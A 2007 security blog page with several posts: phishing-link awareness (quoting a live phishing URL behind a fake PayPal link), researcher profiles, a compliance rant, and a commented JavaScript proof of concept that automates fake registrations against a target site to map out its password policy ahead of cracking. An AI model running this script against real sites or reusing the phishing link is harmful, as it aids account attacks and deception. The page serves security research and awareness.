Sunday, February 25, 2007

Separating actual urls hidden behind the link can help reduce phishing

Lately i have been getting a lot of phishing emails in my inbox. Over the years yahoo has done a good job in redirecting those to spam folders. Of course every now and then one or two might slip through the cracks but its only until recently when i started getting a lot of phishing emails in my inbox. Emails for washington mutual, paypal, bank of america, etc. It didnt matter if i have an account with them or not. Luckily Over time i have developed a habit of dragging my mouse over the link to see what is the actual url behind the link. Sure enough, it was taking me to some other website instead of what was shown in the link. What surprises me most is that though phishers have been using the same old method of deceiving the users by making them click on fake urls, the industry is still trying to find all the possible means but not separating the actual url from the link.

Here is an example. I received this in my yahoo mail today. If you drag your mouse over the link, you will see the actual url is something else as mentioned in the link. (Be careful if you click on the url)
https://www.paypal.com/row/vst/id=11791677P5757633F

I know its an ongoing battle between the product managers and the security professionals on Where do you draw a line between a feature and the security. Allowing a user to click on a url is the basic feature of a html page. Html emails use the same feature which is exploited by the phishers and with a great success rate. The point i am trying to make here is email providers are spending a lot of money in creating a robust phishing detection mechanism but giving no attention to the urls. How hard it is to match the actual url with the text mentioned in the link. If it doesnt match then based on other criterias it can be marked as phishing email/spam. If they dont want to mark it as phishing emails, the least they can do is display the actual url separately from the link and let the user copy and paste it, if they want to. Its not a huge inconvenience to the user but at the same timeit can help reduce phishing attempts from the malicious people.

If a phishing url could be displayed like this,

https://www.paypal.com/row/vst/id=11791677P5757633F (http://reseller4.ultrawhb.com/~mrbouble/.public/login.html)

then at least the customer is not fooled and if he copies and pastes the wrong url then there is no solution to that.

Friday, February 23, 2007

Reflection on Jeremiah Grossman

Today’s personality is again well known for its contribution to the world of web application security. Jeremiah Grossman is an expert in webappsec and is a CTO and a co-founder of Whitehat Security. He is also a founding member of Web Application Security Consortium. Jeremiah started hacking around 1991-92 but it was only until 2000, he took it as a profession when he was working for yahoo where he performed various web application security related activities. Over the years he has done a lot of web application security R&D and contributed to the community in various ways. He has spoken at numerous conferences, published a lot of articles, shared a lot of research ideas and made various other contributions including but not limited to Internet Security Apache Benchmark Group and Web Application Security Consortium. In his spare time he trains in Brazilian Jiu Jitsu and play australian rules football and his specialty is web application security, web development, Australian rules football and video game hacking.

Jeremiah is based out of San Jose, CA and is only 29 years old and has spoken at numerous conferences all over the world including Black Hat, ISSA, ISACA, NASA, RSA, OWASP, AFITC, Stanford and many other industry events. His research, writings, and discoveries have featured in USA Today, VAR Business, NBC, ABC News (AU), ZDNet, eWeek, BetaNews, etc. Below is a compilation of most of his work, which by no means, covers his entire contribution.


Articles / Books:-

Ten Things You Should Know about Web Application Security
http://www.whitehatsec.com/downloads/WP10Things.pdf

The 80/20 Rule for Web Application Security
http://www.webappsec.org/projects/articles/013105.shtml

Chasing Vulnerabilities for Fun and Profit
http://www.whitehatsec.com/articles/chasing_vulnerabilities.shtml

Myth-Busting AJAX (In)Security
http://www.whitehatsec.com/home/resources/articles/files/myth_busting_ajax_insecurity.html

Myth-Busting Web Application Buffer Overflows
http://www.whitehatsec.com/articles/mythbusting_buffer_overflow.shtml

Pay Now or Pay Later: Obtaining ROI from Web Security
http://www.cunews.com/roundtable/WhiteHat3.pdf

Technology Alone Cannot Defeat Web Application Attacks
http://searchsoftwarequality.techtarget.com/tip/0,289483,sid92_gci1189767,00.html

Insecure Web Sites
http://www.varbusiness.com/showArticle.jhtml?articleID=18825528

Thwarting SQL Web Hacks
http://www.varbusiness.com/showArticle.jhtml?articleID=18841325

Top 5 Myths of Web Application Security
http://www.varbusiness.com/showArticle.jhtml?articleID=22104030

Web Application Security 101
http://www.whitehatsec.com/articles/webappsec101.pdf

What Phishers Know That You Don't
http://www.betanews.com/article/What_Phishers_Know_That_You_Dont/1114784531

Cross-Site Scripting Worms and Viruses
http://www.whitehatsec.com/downloads/WHXSSThreats.pdf

Top 10 Web Hack of 2006
http://www.whitehatsec.com/home/resources/presentations/files/whitehat_top_hacks_06_F.pdf
Most of the recent ones are listed here:
http://jeremiahgrossman.blogspot.com/2006/12/top-10-web-hacks-of-2006.html

Automated Scanner vs. The OWASP Top Ten
http://jeremiahgrossman.blogspot.com/2007/01/automated-scanner-vs-owasp-top-ten.html

He is also co-authoring a book on XSS to be released tentatively on March 1, 2007
Cross Site Scripting Attacks: XSS Exploits and Defense

He also wrote the foreword for two books:-

Preventing Web Attacks with Apache
http://www.amazon.com/Preventing-Attacks-Apache-Ryan-Barnett/dp/

Hacking Exposed Web Applications, Second Edition
http://www.amazon.com/Hacking-Exposed-Web-Applications-Second/dp/


Contributions:-


Presentations:-

Hacking Intranet Websites from the Outside (Session code: HT2-107)
http://news.thomasnet.com/companystory/506356

Hacking Intranet Websites from the outside - "JavaScript malware just got a lot more dangerous"
http://www.blackhat.com/html/bh-usa-06/bh-usa-06-speakers.html#Grossman

Phishing with super bait
http://www.blackhat.com/presentations/bh-usa-05/bh-us-05-grossman.pdf

Challenges of Automated Web Application Scanning
http://www.blackhat.com/presentations/bh-federal-03/bh-fed-03-grossman-up.pdf

Webserver Fingerprinting
http://www.whitehatsec.com/presentations/Black_Hat_Singapore_2002/BlackHat2002-Singapore.zip

The land that application security forgot
http://opensores.thebunker.net/pub/mirrors/blackhat/presentations/bh-europe-01/jeremiah-grossman/bh-europe-01-grossman.ppt

Hacking Intranet Websites from the Outside with JavaScript Malware Dang (CSI NetSec)
https://www.cmpevents.com/CSINS7/a.asp?option=C&V=11&SessID=4896

StillSecure, After all these years, Podcast #28
http://www.stillsecureafteralltheseyears.com/ashimmy/2007/01/episode_28_of_s.html

Cross-Site Tracing (XST)
http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf

Automated Scanners vs. Low-Hanging Fruit
http://jeremiahgrossman.blogspot.com/2007/02/automated-scanners-vs-low-hanging-fruit.html


Speaking engagements:-

Jeremiah Grossman TV interview with ABC News (AU)
http://www.youtube.com/watch?v=HPutgmAzgQA

ISSA NORCAL Systems Security Symposium 2004, Network Security Conference 2004 – Web Application Security Auditing
http://www.issa-sac.org/conferences/2004/presentations.php#

Black Hat 2006 - Hacking Intranet Websites from the Outside "JavaScript malware just got a lot more dangerous"
http://www.blackhat.com/html/bh-japan-06/bh-jp-06-en-speakers.html#Grossman

Black Hat 2005 - Phishing with Super Bait
http://www.blackhat.com/html/bh-usa-05/bh-usa-05-speakers.html#grossman

Black Hat USA 2004 - Panelist
http://www.blackhat.com/html/bh-usa-04/bh-usa-04-speakers.html

AITP Central Valley – Web Application Security http://www.whitehatsec.com/presentations/AITP_CentralValley_062004.pdf

ISSA Sacramento 2004 – Auditing Web Applications
http://www.issa-sac.org/conferences/2004/presentations.php#

Blackhat Seattle 2004
http://www.blackhat.com/presentations/bh-federal-03/bh-fed-03-grossman-up.pdf

BlackHat Windows 2003 – Hacking Web Applications Training Class, Detecting Web Application Attacks Presentation
http://www.blackhat.com/html/win-usa-03/train-bh-win-03-wh.html

Blackhat New Orleans 2002 – Web Application Security and Arsenal http://www.blackhat.com/presentations/win-usa-02/grossman-winsec2002.ppt

Blackhat Europe 2001 – Web Application Security http://www.blackhat.com/presentations/bh-europe-01/jeremiah-grossman/bh-europe-01-grossman.ppt

Air Force Information Technology Conference 2001, Web Application Security
http://www.whitehatsec.com/presentations/AFITC_2001/afitc_2001.ppt

DefCon Las Vegas 2001 – Web Application Security in Theory and Practice
http://www.whitehatsec.com/presentations/Defcon9_2001/defcon9_presentation2001.ppt

Speaker and Panelist for the Web Application Security Forum (Tokyo, Japan) - “WASC Activities and U.S. Web Application Security Trends”
http://www.whitehatsec.com/presentations/WASC_WASF_1.02.pdf

Blackhat Singapore 2002 – Web Server Fingerprinting - "A first look into web server fingerprinting"
http://www.blackhat.com/presentations/bh-asia-02/bh-asia-02-grossman.pdf

Podcast with ITRadio (Risky Business #1)
http://www.itradio.com.au/?p=6

Credit Union Information Security Conference Panelist 2004 http://www.cunews.com/infosec.htm

Washington Software Alliance 2003 / ISSA Pugeot Sound 2003 / Blackhat Federal 2003 / SuperCIO 2003 / NASA AMES 2003 – Challenges of Automated Web Application Scanning
http://www.whitehatsec.com/presentations/NASA_AMES_2003_v1.0.ppt

ISSA San Diego – Auditing Web Applications
http://www.whitehatsec.com/presentations/Auditing-Web%20Applications.pdf

ToorCon San Diego 2001 (Couldn’t find the url)


Proof of concepts:-

Intranet Hacking
http://jeremiahgrossman.blogspot.com/2006/09/video-hacking-intranet-websites-from.html

Browser Port Scanning without JavaScript
http://jeremiahgrossman.blogspot.com/2006/11/browser-port-scanning-without.html

Bypassing Mozilla Port Blocking
http://jeremiahgrossman.blogspot.com/2006/11/bypassing-mozilla-port-blocking.html

I know if you're logged-in, anywhere
http://jeremiahgrossman.blogspot.com/2006/12/i-know-if-youre-logged-in-anywhere.html

I know where you’ve been
http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html

Goodbye Applet, Hello NAT'ed IP Address
http://jeremiahgrossman.blogspot.com/2007/01/goodbye-applet-hello-nated-ip-address.html

JavaScript Array Overwriting - Advanced Web Attack Techniques using GMail
http://jeremiahgrossman.blogspot.com/2006/01/advanced-web-attack-techniques-using.html


Tools written by him:-

WhiteHat Webserver Fingerprinter (no longer available)http://www.whitehatsec.com/presentations/Black_Hat_Singapore_2002/wh_webserver_fingerprinter.tgz

Scoring Tool CIS for the Apache Benchmark
http://www.cisecurity.org/bench_apache.html

WhiteHat Arsenal (no longer available)


Memberships:-

WASC Co-Founder


Blog:-

http://jeremiahgrossman.blogspot.com


Website:-

www.whitehatsec.com


Companies worked for:-

Amgen, Yahoo, WhiteHat


Email:-

jeremiah__at__whitehatsec__dot__com


He is a man of ideas and thinks differently from others. His blog is amongst the most followed blogs on information security. A must follow figure in web application security to stay current with emerging threats and news.

Last Week – RSnake
Next Week – Ivan Ristic

Tuesday, February 20, 2007

Compliance - is it worth the money?

While surfing through the net i found a posting on compliance
http://bestsecurity.blogspot.com/2007/02/compliance-audit-is-not-substantive.html

Though it was more of a ranting on the compliance but it certainly made me think my experience on PCI compliance.

I do agree that compliance has a place in the industry. In my experience, had it not been for compliance, many companies have not paid attention towards web application security at all. Unfortunately, many of the product managers or project managers (in big enterprises) still do not understand the issue of web application security (or should i say don't want to understand) and hence we see a lot of vulnerable applications out there. As for small and medium businesses, the sheer cost of securing web applications in itself makes them not go for the solutions. Compliance in a way is forcing them to do something about it. However, the problem starts from the governing agencies enforcing compliance. Take PCI compliance for example. It all started as a good idea to enforce companies to secure customer information but then they lost focus along the way. It is OK as long as you are making sure if the network and the applications aren't vulnerable but if you want to enforce a company to have source code audit by an independent third party, that is where it gets ridiculous.
What about companies who doesnt want to reveal their source code? what if it is proprietary software? Can I trust the company who is doing my source code audit, more importantly can I trust the person who is doing my source code audit? We have seen cases of hackersafe signing websites that they are safe from hackers and we have seen cases of bank's employees (who are the guardians of the customer information) selling the very customer information to the outside agencies. Who can I trust? Not to say what is the guarantee that the person doing the source code audit has enough knowledge of the language and more importantly where are the secure coding guidelines for us to follow?
The sheer cost of doing web application security compliance including black box testing, white box testing, source code analysis, web application firewall, etc, etc will run into hundreds of thousands of dollars (as we saw in RSA Conference) and not to mention the amount you have to pay for the auditors.

The other ugly side of compliance is auditing companies. For PCI compliance, there have been too many companies doing auditing for price ranging from $1000 to $13000. This confused me in the beginning and I started to ask questions about what is the value addition for that extra money and after doing a lot of research, I found out it's not about the value addition for the extra money, it's about saving your neck. When you can buy a compliance certificate for $1000 then why do you want to pay $13000. Of course, if you really are concerned about your security and want to do things the right way, then the price definitely will not be $1000.

I am sorry to say but compliance has become just another way for auditing companies to make money and the real message has gotten lost.

Thursday, February 15, 2007

Reflection on RSnake


If you have heard of XSS cheat sheet or http://ha.ckers.org/ then you already know him. His name is Robert Hansen or more popularly known as RSnake. If there is any mention of XSS, there is a big chance RSnake’s name or its cheat sheet is mentioned along with it. His contribution in the web application security awareness is legendary. On two of his many web sites (http://ha.ckers.org/ and http://sla.ckers.org/ ) you will find a wealth of information on various aspects of webappsec. His XSS cheat sheet is arguably the most referenced link in the webappsec space with 27000 hits in the month of January ’07 alone and http://ha.ckers.org/ has around 10,000 unique visitors per day (not counting the RSS feeds) making it probably the most followed blog in webappsec field. He has shared his technical expertise with a lot of industry professionals in their work including but not limited to working with Microsoft engineers to address XSS issue, Cloaking to Stop Scraping, and his discussion with the author of the chilling effect.

Looking at his past, he started hacking when he entered college, which was when the web applications were just getting started. In his words

"I'm a college dropout but was studying Computer Engineering. It was way too boring. They were dealing with the theoretical nuances of computers and outdated technology (Pascal pseudo-code on Macintosh assembler). At the same time that I was going to school, in my part time jobs I was doing in practice what my professors could only barely grasp from a theoretical perspective. This was pre-bubble and my parents and my teachers were telling me to get out there and make my millions. I took angel funding for a project, and everything seemed to be going well, but then the stock market crashed, investment money dried up and I learned a hard lesson. It was the day I closed up shop at my own company that I learned everything I need to know about business.
My first PERL script was a top100 list for webfringe.com (long gone now). I had a lot of people trying to hack it. It was a fun experiment that I finally gave up on due to time issues, but it gave me a lot of insight into how you can spoof traffic. Hackers have some of the most interesting traffic on the Internet. It's a pleasure to host security sites, because I get great visibility into the techniques and tools.”

RSnake is currently based out of California but is planning to move to Texas, US and start his own company SecTheory. In the WASC meetup I got a chance to meet with him, and for a person who is known and respected by the hackers and security professionals alike, he is very down to earth and with a good sense of humor, unlike a typical geek. Below are some of his contributions to the webappsec community. I say some because the information below does not represent all his work. Even he has lost track of some of his work over the years.

Articles / Books

PGP Man in the Middle Attack

AcuTrust Entropy Attacks

Hardening HTAccess, Part One

Hardening HTAccess, Part Two

Hardening HTAccess, Part Three

Accessing Trillian Pro Remotely and Through an Encrypted Tunnel

Death By 1000 Cuts – a Case Study
http://ha.ckers.org/deathby1000cuts/

Is your money safe?
http://ha.ckers.org/old/

Electronic Commerce Insecurity
http://ha.ckers.org/old/10102002.shtml

Internet Mind Games
http://ha.ckers.org/old/07221998.shtml

Apache Information Disclosure Issues or, "How to detect cloaking"
http://www.secureseo.com/blog/2006/04_07_apache_information_disclosure_issues.html

He is also co-authoring a book on XSS to be released tentatively on March 1, 2007
Cross Site Scripting Attacks: XSS Exploits and Defense


Tools written by him:-

Fierce
http://ha.ckers.org/fierce/

MHTML framework
http://ha.ckers.org/weird/mhtml.zip

XSS fuzzer
http://ha.ckers.org/fuzzer/XSSFuzz.zip


Contributions:-

Lots of changes to browser technology over the years. Started a number of security sites, written hundreds of articles, dozens of tools and many sample PoC. He has also presented at Blackhat USA and Networld+Interop on a Security Information Management roundtable (couldn’t find the url)


Blogs:-

Web Application Security Blog
http://ha.ckers.org/

Snake Bytes
http://www.darkreading.com/blog.asp?blog_sectionid=403


Websites:-

He had started many security related sites, but these two are most popular

To discuss any aspect on web application security
http://sla.ckers.org

If you want a break from your work and need a quick laugh
http://www.fthe.net/


Memberships:-

ISSA, CISSP, OWASP, WASC, IASCP. He is also working on something to certify web application security engineers.


Companies worked for:-

He has worked for a major banner advertising company as an Information Specialist and for several start-up companies as Chief Operations Officer and Chief Security Officer. He is now starting his new company SecTheory - doing boutique web application and network security consulting.


Email:-

h__at__ckers.org

We will see a lot more contribution from him as he is working on some very cool stuff and if you want to stay on top of webappsec then make http://ha.ckers.org/ as the first site you visit to. I wish him all the best in his new endeavor.


Last Week – Amit Klein
Next Week – Jeremiah Grossman

Tuesday, February 13, 2007

I dont want a product, I want a solution

RSA Expo is over, and it was good to see a lot of Web application security products being showcased there. The awareness about Web application security is increasing, and a lot of companies are coming out with new products to protect Web applications. Such products include network and Web application firewalls, identity management, auditing tools, Web application security tools and encryption tools. If there's a way your company can be hacked, there was a product to protect it.

read the entire article here

Thursday, February 08, 2007

Reflection on Amit Klein


For those who are in the web application security field need no introduction to his name. He is an expert and by far one of the best in web application security space. He is one of the early starters of the field and has played a major role in the awareness of webappsec. His contribution ranges from not only identifying vulnerabilities and publishing them but also contributing towards standards like OWASP guide, WASC threat classification or web application firewall criteria. And those who are not aware should know he was the one who also contributed towards the solution for UXSS (pdf xss vulnerability). He is also a WASC (Web Application Security Consortium) officer and a board member and co-leads the WASC articles project.

Based out of Israel, he started back in 1997 with Perfecto Technologies (which later became Sanctum), mostly heading security research activities. Sanctum was later acquired by Watchfire in 2004 which is when he left Sanctum / Watchfire. He is currently a CTO of a security company.

Below you will find a list of his articles, contributions, presentations and other details.

Articles:-

A Refreshing Look at Redirection
http://www.securityfocus.com/archive/1/450418

Sending arbitrary HTTP requests with Flash 7/8 (+IE 6.0)
http://www.securityfocus.com/archive/1/443391

Under some conditions, it's possible to steal HTTP credentials using Flash
http://www.securityfocus.com/archive/1/443191

Forging HTTP request headers with Flash
http://www.securityfocus.com/archive/1/441014

IE + some popular forward proxy servers = XSS, defacement (browser cache
poisoning)
http://www.securityfocus.com/archive/1/434931

Path Insecurity
http://www.webappsec.org/lists/websecurity/archive/2006-03/msg00000.html

HTTP Response Smuggling
http://www.securityfocus.com/archive/1/425593

Domain Contamination
http://www.webappsec.org/projects/articles/020606.txt

XST Strikes Back
http://www.securityfocus.com/archive/1/423028

Exploiting the XmlHttpRequest object in IE - Referrer spoofing, and a
lot more...
http://www.securityfocus.com/archive/1/411585

Detecting and Preventing HTTP Response Splitting and HTTP Request
Smuggling Attacks at the TCP Level
http://www.securityfocus.com/archive/1/408135

NTLM HTTP Authentication is Insecure by Design
http://www.securityfocus.com/archive/1/405541

Can HTTP Request Smuggling be blocked by Web Application Firewalls
http://www.webappsec.org/lists/websecurity/archive/2005-06/msg00123.html

DOM Based Cross Site Scripting
http://www.webappsec.org/projects/articles/071105.html

Meanwhile, on the other side of the web server
http://www.itsecurity.com/security.htm?s=3957

HTTP Request Smuggling (with Chaim Linhart, Ronen Heled and Steve Orrin)
http://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf

The Insecure Indexing Vulnerability - Attacks Against Local Search Engines
http://www.webappsec.org/projects/articles/022805-clean.html

Detecting and Testing HTTP Response Splitting Using a Browser
http://www.securityfocus.com/archive/107/378523

Blind XPath Injection
http://www.packetstormsecurity.org/papers/bypass/Blind_XPath_Injection_20040518.pdf

Divide and Conquer - HTTP Response Splitting, Web Cache Poisoning
Attacks, and Other Topics
http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf

Secure Coding Practices for Microsoft ASP.NET
http://www.cgisecurity.com/lib/WhitePaper_Secure_Coding_Practices_VSdotNET.pdf

XS(T) attack variants which can, in some cases, eliminate the need for TRACE
http://www.securityfocus.com/archive/107/308433

Cross Site Scripting Explained
http://crypto.stanford.edu/cs155/CSS.pdf

Hacking Web Applications Using Cookie Poisoning
http://www.cgisecurity.com/lib/CookiePoisoningByline.pdf

Contributions:-

OWASP guide to building secure web application
http://internap.dl.sourceforge.net/sourceforge/owasp/OWASPGuide2.0.1.pdf

WAFEC
http://www.webappsec.org/projects/wafec/

WASC's Threat Categorization (TC)
http://www.webappsec.org/projects/threat/

Co-lead the WASC articles project
http://www.webappsec.org/projects/articles/guidelines.shtml

Presentations:-

OWASP AppSec Europe Conference 2006 – “HTTP Message Splitting, Smuggling and Other Animals”

CERT 2002 Conference, August 2002 - "WWW Forensics"

FM'99 Congress, September 1999 - "A Perfect Verification: Combining Model Checking with Deductive Analysis to Verify Real-Life Software"

Memberships:-

Amit is WASC officer and board member.

Companies worked for:-

Sanctum, Cyota (RSA security)

Education:-

B. Sc. Mathematics and Physics

Email:-

aksecurity__at__gmail_dot_com

And this just doesn't end here, you will see a lot more coming from him. He is a must follow figure of the webappsec field.

Next Friday – Reflection on RSnake

Wednesday, February 07, 2007

WASC meetup during RSA conference

Today at WASC meetup, quite a lot of crowd turned out and it was fun meeting a lot of players from the application security field. Here are some of the pictures from the meetup. You will see people like Jeremiah Grossman, RSnake, Arian Evans (Whitehat), Billy Hoffman (SPI), Robert Auger (cgisecurity.net), etc










You can view more pictures at Jeremiah's blog

Tuesday, January 30, 2007

Target password cracking - code explained

This is the explanation of the source code from my last posting about targeted password cracking - Proof of concept


---- Start Code -----


/******

Global variables defined in this module

  • ajax_request - To store the XMLHttpRequest object.
    autofill - This string will be used to send variations of password to detect the password policy and what other characters are allowed.
  • success_response - This string stores the response of the first successful password attempt.
  • post_url - This string is to store the parameter string for the attacks.
  • correct_password - This string stores the correct password used in the successful attempt.
  • chars_to_check - This string contains the characters we are testing if they are allowed by the application. As you can see here it is a very limited string but we can add as many characters to it.
  • username - Store the username of the successful registration. This username is further added with a number to create another unique username.
  • counter - This is a number which gets added to the username to create another unique username. A better approach would be to create a Random number generator.
******/

var ajax_request = false;
var autofill = "";
var success_response = "";
var post_url = "";
var correct_password = "";
var chars_to_check = "@<>/#$!()";
var username = "";
var counter = 46532;


/******

Function create_object()

This function creates a XMLHttpRequest object if it is firefox or ActiveXObject if IE6. Currently this module is tested in Firefox 2.0 and IE6. To learn more on XMLHttpRequest, please read the tutorials on Ajax.

******/


function create_object() {

if(window.ActiveXObject) {
var versions = ["Msxml2.XMLHTTP.7.0", "Msxml2.XMLHTTP.6.0", "Msxml2.XMLHTTP.5.0", "Msxml2.XMLHTTP.4.0", "MSXML2.XMLHTTP.3.0", "MSXML2.XMLHTTP", "Microsoft.XMLHTTP"];

for (var i = 0; i < versions.length ; i++) {
try {
ajax_request = new ActiveXObject(versions[i]);

if (ajax_request) {
break;
}
}catch (objException) {
// trap; try next one
} ;
}
}

if (!ajax_request && typeof XMLHttpRequest != 'undefined') {
ajax_request = new XMLHttpRequest ();
}

}




/********

Function post_form(url, parameters)
url - The url where the form is submitted. This comes from the action attribute of the form.
parameters - This is the form parameters in a string format.

This function posts the form using XMLHttpRequest instead of the browser submitting it. This module assumes the first registration attempt is successful. Store the successful response page in success_response variable. This will be used to verify whether the subsequent attack response was successful. The server response is then updated in the DOM and the run_attack function called which checks for the password policy and the characters that are filtered.

******/


function post_form(url, parameters) {

post_url = url;
ajax_request.open("POST", url, false);
ajax_request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");

ajax_request.send(parameters);

if(ajax_request.readyState == 4 && ajax_request.status == 200) {

var response_text = ajax_request.responseText;
success_response = response_text;
document.body.innerHTML = response_text;
}

run_attack();
}



/********

Function submit_form(form_id)
form_id - The id of the form.

This function gathers all the form elements and initializes some global variables which are used in the subsequent automated registration attempts.

  1. Get the action attribute and store it in the form_action.
  2. Get all the form elements and store them in the string. If the form element type is password then store it in correct_password String.
  3. Create another form string to be used for fingerprinting the password policy. For the element types which are password replace them with ??.
    NOTE: I am using ?? as a placeholder for passwords. You can use other characters too.
  4. We will store the above form string in post_url where the future passwords can be applied by replacing ??.
  5. Store the correct password in the correct_password variable.
  6. Store the user name entered in the form in username variable. This will be required to replace with a new username everytime the password is successful.
  7. Call the post_form function to submit it to the server.

*******/


function submit_form(form_id)
{
var form = document.getElementById(form_id);
var form_action = form.action;

var params = "";

for(var i = 0; i < form.length; i++) {

params += form.elements[i].name + "=" + form.elements[i].value;

if(form.elements[i].type == 'password') {
autofill += form.elements[i].name + "=" + "??";
correct_password = form.elements[i].value;
}

else {

autofill += form.elements[i].name + "=" + form.elements[i].value;

if(form.elements[i].name == 'username')
username = form.elements[i].value;

}

if(i+1 < form.length) {
autofill += "&";
params += "&";
}
}

post_form(form_action, params);
}



/*******

Function create_attack_string(passwd)
passwd - The password which we want to test against the victim server.

  1. Create the new username by appending some numerics to it to make it unique. We are trying to avoid the duplicate usernames.
  2. Replace the ?? which we created as placeholders for password by the passwd passed in the parameter. replaceAll calls the prototype function of String object defined towards the end of this file.
  3. Return the newly created form parameter string to be submitted to the victim server.

*******/


function create_attack_string(passwd)
{
var newString = autofill.replace(username, getUserName());
newString = newString.replaceAll("??", passwd);
return post_attacker(newString);
}



/*******

Function post_attacker(parameters)
parameters - the form parameter string which will be submitted to register username / password on the victim server.

This function submits the attack parameters and checks if the response from the server is a success by matching to the success_response it stored from a successful response the first time. If the response from the server matches the success response we stored from our original successful registration attempt then return true else return false.

*******/


function post_attacker(parameters) {
ajax_request.open("POST", post_url, false);
ajax_request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
ajax_request.send(parameters);

if(ajax_request.readyState == 4 && ajax_request.status == 200) {

var response_text = ajax_request.responseText;

if(response_text == success_response)
return 'true';
else
return 'false';
}
}



/*******

Function getUserName()

This is a temporary function considering we are just using username and password for the Proof of concept. If there are more then just username and password then we want to store all of them in an array or some better approach. This is just for the PoC. I am just adding some integer value to the username for this proof of concept. A better approach would be to create a random number or string generator.

********/


function getUserName()
{
return username + counter++;
}



/********

Function findMinChars()

This function checks for the minimum number of characters allowed in a password. It starts with the number of characters in the successful password and work backwards maintaining the starting position for capital letter and ending position. Assuming the first character of the successful password was a capital letter and the last character a digit, the following routine removes one character from the second position of the original successful password and keeps removing one character until the minimum password length required is met which is checked by the response from the server. If the response is same as it was when the registration was successful then this attempt was successful too.

********/


function findMinChars()
{
var attack_div = document.getElementById('attack_string');
attack_div.innerHTML = "Checking minimum password length.....";

for(var i = correct_password.length ; i >= 0; i--) {

var passwd = correct_password.substring(0,1) + correct_password.substring(correct_password.length - (i - 2), correct_password.length);
var success = create_attack_string(passwd);

if(success == 'true') {

attack_div.innerHTML += 'Minimum Password Length Allowed : ' + (i-1) + ' characters.';
}
}
}



/********
Function findCharsNotAllowed()

Check the characters from the chars_to_check by adding one illegal character at a time to the password used at the time of successful registration. If successful then that character is allowed and if failure then character is not allowed.

********/


function findCharsNotAllowed()
{
var attack_div = document.getElementById('attack_string');

for(var j = 0; j < chars_to_check.length; j++) {
var illegal_character = chars_to_check.charAt(j);
attack_div.innerHTML += 'Checking if character is allowed : ' + illegal_character + '...';
var newPassword = correct_password + illegal_character;
var newString = autofill.replaceAll("??", newPassword);
attack_div.innerHTML += 'Sending attack string : ' + newString + '....';
var success = post_attacker(newString);

attack_div.innerHTML += 'Character ' + illegal_character + ' allowed : ' + success;
}
}



/********

Function isDigitRequired

Check for all the digits in the password used for successful registration and replace them with an alphabet. In this proof of concept i am replacing it with 'a'. If the attempt to register is successful that means the digit is not compulsory. If failed then it is. If a digit is required then we can further check whether if it is required at the beginning of a password or towards the end.

********/


function isDigitRequired()
{
var attack_div = document.getElementById('attack_string');
attack_div.innerHTML += 'Checking if a digit is required.....';
var passwd = correct_password;

for(var i = 0; i < passwd.length ; i++)
{

if(passwd.charAt(i) > '0' && passwd.charAt(i) < '9')

passwd = passwd.substring(0,i) + 'a' + passwd.substring(i+1, passwd.length);

}

var success = create_attack_string(passwd);

if(success == 'true')
attack_div.innerHTML += 'Should contain digit : false';
else
attack_div.innerHTML += 'Should contain digit : true';
}


/********

Function isStartingWithCapitalLetter()

This method moves the starting character which is a capital letter to other positions in the password and checks whether the registration was successful. If successful that means the the password need not start with a capital letter.

********/


function isStartingWithCapitalLetter()
{
var attack_div = document.getElementById('attack_string');
attack_div.innerHTML += 'Checking if a password has to start with a capital letter......';
var passwd = correct_password.substring(0,1).toLowerCase() + correct_password.substring(1,correct_password.length);
var success = create_attack_string(passwd);

if(success == 'true')
attack_div.innerHTML += 'First letter to be a capital letter : false';
else
attack_div.innerHTML += 'First letter to be a capital letter : true';
}


/********

Function isEndingWithDigit()

This method adds an alphabet to the end of the password and checks if it registers with this password. If it does then the password does not have to end with a digit. If it fails then it should end with a digit. Similarly we can check if a digit is required at all in the password.

********/


function isEndingWithDigit()
{
var attack_div = document.getElementById('attack_string');
attack_div.innerHTML += 'Checking if a password has to end with a digit......
';
var passwd = correct_password + "a";
var success = create_attack_string(passwd);

if(success == 'true')
attack_div.innerHTML += 'Last letter has to be a digit : false
';
else
attack_div.innerHTML += 'Last letter has to be a digit : true
';
}


/********

Function run_attack()

This function is the starting point of the attack. This function is called after the successful registration in the beginning and then onwards tries different combinations to identify what characters are not allowed in a password.

********/


function run_attack()
{
//Find the minimum character required for the password.
findMinChars();

//Find if the password has to start with a capital letter.
isStartingWithCapitalLetter();

//Find if the digits are required
isDigitRequired();

//Find if it has to end with a digit.
isEndingWithDigit();

//Find if the characters as mentioned in the chars_to_check String are not allowed.
findCharsNotAllowed();

}


/********

String.prototype.replaceAll

This function replaces all instances of the given substring with the target string. This function was copied from Ask Ben website. Details of the function is provided on his website in case you want to understand. The url is mentioned below
http://www.bennadel.com/blog/142-Ask-Ben-Javascript-String-Replace-Method.htm

********/

String.prototype.replaceAll = function(
strTarget, // The substring you want to replace
strSubString // The string you want to replace in.
)
{
var strText = this;
var intIndexOfMatch = strText.indexOf( strTarget );

// Keep looping while an instance of the target string still exists in the string.
while (intIndexOfMatch != -1)
{

// Relace out the current instance.
strText = strText.replace( strTarget, strSubString )

// Get the index of any next matching substring.
intIndexOfMatch = strText.indexOf( strTarget );
}

// Return the updated string with ALL the target strings replaced out with the new substring.
return( strText );
}

-----End Code ----

There are many improvements that can be done to this program. This is just a proof of concept and I was too lazy to do too much. If you get a chance to improve upon this, please do let me know. I also have some ideas and maybe we can discuss about it.

Download the complete source code or view the working demo at Attack Labs

Targeted password cracking - Proof of concept

This is a proof of concept to exploit the registration functionality of a website to build targeted password cracking engine. I am using Ajax to automatically detect the parameters which are submitted for a successful password and automatically resubmitting the modified passwords. Of course other technologies can be used for the same.



I think I can safely assume that by now we all understand the need of a strong password handling mechanism, which starts from a strong password policy. In the password policy we define the rules for the password selected by the user to login to their account. The idea is to make them stronger so that they are not easily guessed and more importantly, the password cracking tools cannot break them easily. Some websites have stricter password policy as compared to others but more often then not, the website owners also care about the customers as stronger passwords are difficult to remember. The stronger the password is, the chances are that the user might forget it especially if it is not something you use every day. Many companies also define the password policy keeping in mind many criteria, in which two of the main criteria are:

1. From the support perspective, password reset call volume might increase. (Not everyone has a online password reset functionality)
2. Inconvenience to the user.

There could be more depending on the company but these two are often brought up by the product team.

